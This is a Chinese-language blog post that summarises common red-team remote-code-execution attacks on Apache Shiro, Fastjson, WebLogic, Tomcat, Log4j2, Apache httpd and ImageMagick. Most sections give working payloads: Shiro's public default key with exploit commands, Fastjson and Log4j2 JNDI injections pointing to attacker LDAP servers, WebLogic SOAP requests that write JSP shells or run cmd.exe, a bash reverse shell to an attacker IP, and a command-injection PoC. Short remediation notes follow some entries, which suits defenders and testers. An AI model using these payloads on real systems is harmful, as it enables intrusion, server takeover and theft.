美文网首页Web攻防
常见红队RCE漏洞利用小结

常见红队RCE漏洞利用小结

作者: book4yi | 来源:发表于2022-06-23 21:20 被阅读0次

    Shiro:


    Apache Shiro是常见的Java安全框架,执行身份验证、授权、密码和会话管理。

    历史维度:

    Shiro <= 1.2.4 :存在shiro-550反序列化漏洞;
    1.2.5 <= Shiro < 1.4.2 :存在shiro-721反序列化漏洞;
    Shiro > = 1.4.2 :如果用户使用弱密钥(互联网已公开/已泄露),即使升级至最新版本,仍然存在反序列化漏洞入口。

    Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)


    漏洞成因:

    Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码

    在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),新版本到Shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥。

    漏洞指纹:

    在请求包的Cookie中为remeberMe字段赋任意值,比如:rememberMe=1
    返回包中存在:Set-Cookie: rememberMe=deleteMe
    补充:这个默认字段的命名是可以修改的,Shiro支持在rememberMe管理器中自定义名称,可以通过在配置文件进行配置

    漏洞复现:

    python shiro-exploit.py echo -k kPH+bIxk5D2deZiIxcaaaA== -g CommonsCollectionsK1 -c "id"
    
    image.png

    修复方案:

    1. 前往官网将shiro更新至最新版本
    2. 更换shiro组件中的AES密钥,不要使用网上已公开的密钥,使用shiro官方提供的方法随机生成自己的密钥,并妥善保管好该密钥
    3. 过滤cookie中较长的rememberMe

    Shiro-721 反序列化漏洞(CVE-2019-12422)


    漏洞简介:

    rememberMe cookie通过AES-128-CBC模式进行加密,这个CBC加密方式存在一个 Padding Oracle Attack( 填充 Oracle 攻击 ),可以通过爆破获取到所有的明文值,可以得到明文和密文值,通过改变密文值(rememberMe字段),从而达到经过服务器端AES解密后的明文值存在我们的恶意序列化数据,进行反序列化攻击,最终导致任意代码的执行。

    具体方式:

    通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的rememberMe字段,重新请求网站,根据服务端对于AES解密成功与否的反馈提示,进行暴力猜解获取加密所需的数据

    利用条件:

    1. Apache Shiro <= 1.4.1
    2. 目标环境存在反序列化漏洞利用链。
    3. 合法的登录账号,利用账号正常登陆获取一个有效的rememberMe cookie(AES解密失败”和“AES解密成功但认证失败”这两种情况服务端反馈是一样的)

    适用场景:

    目标存在shiro反序列化利用链但未使用默认AES密钥,可根据任一合法的rememberMe值通过PaddingOracle Attack获取AES加密所需的数据。从而实现远程代码执行。

    漏洞利用:

    1. 登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):
    2. 使用Java反序列化工具 ysoserial 生成 Payload:
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 9rtmxe.ceye.io" > payload.class
    
    1. 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
    Usage: shiro_exp.py <url> <somecookie value> payload.class
    

    注意:每运行一次EXP脚本,将消耗5G以上的物理存储

    1. 使用Evil Rememberme cookie 认证进行反序列化攻击:

    注意:需要使JSESSIONID失效或者将cookie中的JSESSIONID字段删除才能触发反序列化

    补充:

    一键化利用工具:ShiroExploit.V2.51

    shiro rememberMe 在线加解密:

    Fastjson:


    fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

    Fastjson反序列化漏洞:

    漏洞简介:

    Fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性,允许用户在反序列化数据中通过“@type”指定反序列化的类型。Fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

    漏洞历史:

    • 1.2.24及之前没有任何防御,并且autotype默认开启
    • 1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。在1.2.48之前的版本中,可以利用特殊构造的json字符串绕过白名单检测。
    • 在1.2.48到最新版本1.2.68之间,都是增加黑名单类。
    • 在1.2.68及之后的版本,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。只要设置@type类型,想反序列化指定类对象的时候,就会抛异常。

    Fastjson1.2.24 反序列化漏洞(CVE-2017-18349):

    Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238):


    Fastjson组件探测:

    1. 利用dnslog探测:

    目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用,收集互联网上公开的Payload:

    {"rand1": {"@type":"java.net.InetAddress", "val": "dnslog"}}
    {"rand2": {"@type": "java.net.Inet4Address", "val": "dnslog"}}
    {"rand3": {"@type":"java.net.Inet6Address", "val": "dnslog"}}
    {"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
    {"rand5":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
    {"rand6":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
    {"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}
    

    当发现数据包中的请求类型为json格式或者参数值为json格式时注入如上payload:

    1. 利用报错信息:

    尝试构造畸形的json数据使之报错,比如不进行闭合花括号或者参数值修改为其他类型,在报错内容中检测是否含有fastjson

    1. 延时判断:(适用于服务器不出网)

    Fastjson反序列漏洞利用过程存在java版本限制:

    • 基于rmi的利用方式:
      适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。
      在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
    • 基于ldap的利用方式:
      适用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。
      在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

    当目标服务器的JDK环境在上述范围之内时,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

    可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

    漏洞利用:

    1. 启动 JNDI-Injection-Exploit:

    -C:远程class文件中要执行的命令。 -A:指向服务端地址

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/88888" -A 192.168.107.155
    
    1. 构造恶意请求发送至服务器:

      {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.107.155:1389/cdop21","autoCommit":true}}
      
    1. 成功创建文件:

    补充:

    从1.2.25开始,fastjson默认关闭了autotype,并且加入了checkAutotype检测机制
    设置了黑名单,如果ClassName命中黑名单,程序则直接抛出异常:
    autoType is not support.

    在1.2.68引入了safemode,打开safemode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType了。

    项目地址:https://github.com/wyzxxz/jndi_tool

    1、启动LDAP服务,1389为LDAP服务的端口,后面跟的是所要执行的命令:

    java -cp jndi_tool.jar jndi.HLDAPServer 192.168.107.170 1389 "curl 659kc0z962nh5natgweh29p1csii67.burpcollaborator.net"
    

    2、构造请求包发送给服务器:

    {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.107.170:1389/Object","autoCommit":true}}
    

    工具推荐:

    https://github.com/zilong3033/fastjsonScan:支持fastjson<=1.2.24和1.2.33<=fatjson<=1.2.47的不出网检测方案
    https://github.com/pmiaowu/BurpFastJsonScan:支持自定义扫描类型设置

    Weblogic:


    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架 构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库 应用的Java应用服务器。

    指纹识别:

    1. nmap:
    1. 404/403页面:

    XMLDecoder反序列化漏洞(CVE-2017-3506):


    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

    在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.107.169:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Content-Type: text/xml
    Content-Length: 547
    Connection: close
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <object class="java.io.PrintWriter">
     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1.jsp</string>
     <void method="println">
     <string>
     <![CDATA[
     <% out.print("test hello"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
    </soapenv:Envelope>
    

    在标签之间分别写存放jsp的路径和要写入的shell

    Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271):


    在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,它的补丁添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,但这次防护力度不够,导 致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。

    影响版本:

    10.3.6.0.0
    12.1.3.0.0
    12.2.1.1.0
    12.2.1.2.0

    只要在wls-wsat包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

    默认受到影响的Uri:

    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11

    漏洞利用:

    需求在请求类型中设置为text/xml,否则可能导致XMLDecoder不解析:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.107.169:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Content-Type: text/xml
    Content-Length: 596
    Connection: close
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> 
     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println">
    <string>
     <![CDATA[
    <% out.print("hello"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
    </soapenv:Envelope>
    

    修复建议:

    (1)下载Oracle推送补丁,下载地址如下:
    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
    (2)根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。

    Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628):


    Weblogic 默认开启 T3 协议,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行,未授权的用户在远程服务器执行任意命令。

    影响版本:

    10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

    漏洞利用:
    1、首先下载ysoserial:https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

    启动一个JRMP Server:

    java -cp ysoserial-0.0.6-snapshot-beta-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping c4h16uhby742u4pvohhu7ue2ftlj98.burpcollaborator.net"
    

    2、使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:

    python2 exploit.py 192.168.107.170 7001 ysoserial-0.0.6-snapshot-beta-all.jar 192.168.107.129 1099 JRMPClient
    

    成功执行命令:

    利用技巧:
    T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:

    nmap -Pn -sV --script=weblogic-t3-info -p 7001 192.168.107.170
    

    修复建议:

    1、过滤T3协议,连接筛选器选择,保存后重启即可。
    2、禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
    3、禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
    https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

    wls-wsat反序列化漏洞(CVE-2019-2725):


    该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

    漏洞触发点:

    bea_wls9_async_response.war、wsat.war

    影响版本:

    Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

    较上一个漏洞CVE-2017-10271补丁而言,官方新增了对 class元素的过滤,并且array元素的length属性转换为整形后不得大于10000。本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行

    访问以下目录中的一种,如下图所示则漏洞:

    /_async/AsyncResponseService
    /_async/AsyncResponseServiceJms
    /_async/AsyncResponseServiceHttps
    /_async/AsyncResponseServiceSoap12
    /_async/AsyncResponseServiceSoap12Jms
    /_async/AsyncResponseServiceSoap12Https

    只要在bea_wls9_async_response包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri,路径如下:Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

    漏洞利用:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: 192.168.107.170:7001
    Cache-Control: no-cache
    Connection: Close
    Content-Type: text/xml; Charset=UTF-8
    Accept: */*
    Referer: http://www.baidu.com/
    User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3
    Content-Length: 1158
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  
      <soapenv:Header> 
        <wsa:Action>log</wsa:Action>
        <wsa:RelatesTo>log</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder"> 
            <object class="java.lang.Runtime" method="getRuntime"> 
              <void method="exec"> 
                <array class="java.lang.String" length="3"> 
                  <void index="0"> 
                    <string>c:\windows\system32\cmd.exe</string> 
                  </void>  
                  <void index="1"> 
                    <string>/c</string> 
                  </void>  
                  <void index="2"> 
                    <string>cd > ./servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/access123.log</string> 
                  </void> 
                </array> 
              </void> 
            </object> 
          </java>    </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body>
        <asy:onAsyncDelivery/>
      </soapenv:Body>
    </soapenv:Envelope>
    

    Weblogic ConSole HTTP 协议代码执行漏洞(CVE-2020-14882/14883):


    此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

    受影响的版本:

    10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

    在正常访问console后台时会提示输入帐号密码,访问以下URL,即可未授权访问到管理后台页面:/console/css/%252e%252e%252fconsole.portal

    此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞

    漏洞利用:

    • 方式一:利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令,直接访问url:

    /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

    这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6没有类
    com.tangosol.coherence.mvel2.sh.ShellSession

    • 方式二:更为通杀的方法,可用于任何Weblogic版本。使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类,需要构造一个恶意的xml文件:
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                               http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
                <list>
                    <value>cmd</value>
                    <value>/c</value>
                    <value><![CDATA[ping xxxx.dnslog.cn]]></value>
                </list>
            </constructor-arg>
        </bean>
    </beans>
    

    POC:/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.107.129/evil.xml")

    修复建议:

    1、及时下载官方补丁进行升级修复:https://www.oracle.com/security-alerts/cpuoct2020.html
    2、关闭后台/console/console.portal的访问权限。
    3、修改后台默认地址。

    Weblogic IIOP 反序列化漏洞(CVE-2020-2551):


    该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。

    影响版本:

    10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0

    漏洞利用需要利用以下四个文件:

    exp.class
    exp.java
    marshalsec-0.0.3-SNAPSHOT-all.jar
    weblogic_CVE_2020_2551.jar/weblogic20202551.jar
    

    exp.java源代码:

    import java.io.IOException;
    public class exp {
        static{
            try {
                java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        public static void main(String[] args) {
            
        }
    }
    

    漏洞利用:

    1. 在exp.java中修改执行的命令,编译生成exp.class
    javac exp.java -source 1.7 -target 1.7
    

    注意:编译class尽量使用和weblogic相同的jdk版本,特别是10.3.6.0版本,如果高于次版本会执行失败(低版本的 JDK 不兼容高版本的 JDK )

    1. 用python启动一个web服务,该目录下存在exp.class文件:
    python -m SimpleHTTPServer 80
    python3 -m http.server 80
    
    1. 使用marshalsec起一个恶意的RMI服务:
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.107.129/#exp" 1099
    
    1. 利用漏洞攻击使目标弹出计算器:
    java -jar weblogic20202551.jar 192.168.107.156 7001 rmi://192.168.107.129:1099/exp
    

    修复建议:

    1. 通过 weblogic 控制台进行关闭 IIOP 协议,然后重新启动 weblogic服务。
    2. 安装 weblogic 修复补丁,进行修复。

    Weblogic Server远程代码执行(CVE-2021-2109 ):


    攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行。该漏洞利用需要身份验证。

    影响版本:

    Weblogic Server 10.3.6.0.0
    Weblogic Server 12.1.3.0.0
    Weblogic Server 12.2.1.3.0
    Weblogic Server 12.2.1.4.0
    Weblogic Server 14.1.1.0.0

    利用 JNDI 注入工具生成payload:

    https://github.com/welk1n/JNDI-Injection-Exploit
    

    漏洞利用:
    1、远程服务器启动JNDI Server:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.107.129
    

    2、构造恶意的HTTP数据包发送给服务器:

    服务端接收到payload,执行:

    可以结合CVE-2020-14882权限绕过漏洞,删除cookie,重新构造数据包

    POST /console/css/%252e%252e/consolejndi.portal HTTP/1.1
    Host: 192.168.107.156:7001
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 165
    
    _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.107;129:1389/ofgguk;AdminServer%22)
    

    修复建议:

    1.升级Weblogic Server运行环境的JDK版本
    2.禁用T3协议, 进入Weblogic控制台,在base_domain配置页点击“安全”选项卡 -> “筛选器”,配置筛选器,在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
    3.使用Weblogic Server官方提供的安全补丁进行修复,https://www.oracle.com/security-alerts/cpujan2021.html
    4.临时关闭后台/console/console.portal对外访问
    5.禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启

    漏洞测试:

    访问以下路径,如果出现未授权访问的情况,证明可以利用:

    /console/css/%252e%252e%252f/consolejndi.portal
    

    Weblogic反序列化漏洞(CVE-2021-2394):


    攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

    这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

    影响版本:

    Oracle WebLogic Server 10.3.6.0.0
    Oracle WebLogic Server 12.1.3.0.0
    Oracle WebLogic Server 12.2.1.3.0
    Oracle WebLogic Server 12.2.1.4.0
    Oracle WebLogic Server 14.1.1.0.0

    靶机环境:vulhub里的CVE-2020-14882
    漏洞利用:
    1、启动一个ldap服务:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [执行的命令] -A [开启ldap服务的vps]
    

    2、发起攻击:

    java -jar CVE_2021_2394.jar [被攻击者IP] [端口] [生成的ldap服务,jdk7\jdk8都可以]
    java -jar CVE_2021_2394.jar 192.168.107.129 7001 ldap://192.168.107.155:1389/qt2ogj
    

    修复建议:

    当前官方已发布受影响版本的对应补丁,建议受影响的用户及时更新官方的安全补丁。链接如下:https://www.oracle.com/security-alerts/cpuapr2021.html

    中间件相关:

    Tomcat:
    • Tomcat后台爆破+部署war马getshell
    • Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

    利用条件:

    Windows+Tomcat 7.0.x+配置文件readonly=false

    影响版本:

    Apache Tomcat 7.0.0 - 7.0.81

    PUT /123.txt/ HTTP/1.1
    Host: 192.168.107.129:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
    Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
    Connection: close
    Content-Length: 12
    
    just test!
    

    PUT /1.jsp%20 HTTP/1.1
    PUT /1.jsp::$DATA HTTP/1.1
    PUT /1.jsp/ HTTP/1.1(适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x)

    Apache:
    • Apache log4j2 远程代码执行漏洞(CVE-2021-44228)

    Apache Log4j2 是一款开源的 Java 日志记录工具,它存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

    影响范围:

    Log4j 2.x <= 2.15.0-rc1

    靶机环境搭建:

    docker pull vulfocus/log4j2-rce-2021-12-09
    docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
    

    漏洞探测:

    web应用程序有可能会将以下数据进行日志记录,从而触发漏洞:RefererUser-AgentIPCookie用户名/密码

    POC:?payload=${jndi:ldap://xxxxx.com/test}

    漏洞利用:

    1、攻击者启动JNDI服务

    java -jar JNDIExploit-1.3-SNAPSHOT.jar -i Attacker-ip
    

    2、对想要执行的命令进行base64编码,对base64编码后还存在特殊字符的,还需要对特殊字符进行两次url编码(比如=进行两次url编码为%253d

    bash -i >& /dev/tcp/192.168.107.155/8888 0>&1 --> YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xNTUvODg4OCAwPiYx
    ?payload=${jndi:ldap://192.168.107.155:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xNTUvODg4OCAwPiYx}
    

    3、构造恶意请求发送给服务器:

    成功执行系统命令,反弹shell到攻击者服务器:

    • Apache远程代码执行漏洞(CVE-2021-42013):

    由于对CVE-2021-41773的修复不充分,攻击者可以使用路径遍历攻击,将URL映射到由类似别名的指令配置的目录之外的文件,如果这些目录外的文件没有受到默认配置"require all denied "的保护,则这些恶意请求就会成功。如果还为这些别名路径启用了 CGI 脚本,则能够导致远程代码执行。

    影响范围

    Apache HTTP Server 2.4.49
    Apache HTTP Server 2.4.50

    curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
    

    编辑器相关:


    百度Ueditor编辑器 NET版本任意文件上传:详情参考:百度Ueditor编辑器漏洞总结

    该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有.NET版本受该漏洞影响。黑客可以利用该漏洞上传木马文件,执行命令控制服务器。

    FCKeditor上传漏洞: 详情参考:红队必备手册 - 编辑器漏洞手册

    其他补充:

    ImageMagick 命令执行漏洞(CVE-2016-3714):

    ImageMagick 是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。

    漏洞成因:

    使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致能注入任意指令执行。

    POC:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://"| command")'
    pop graphic-context
    

    相关文章

      网友评论

        本文标题:常见红队RCE漏洞利用小结

        本文链接:https://www.haomeiwen.com/subject/imknoltx.html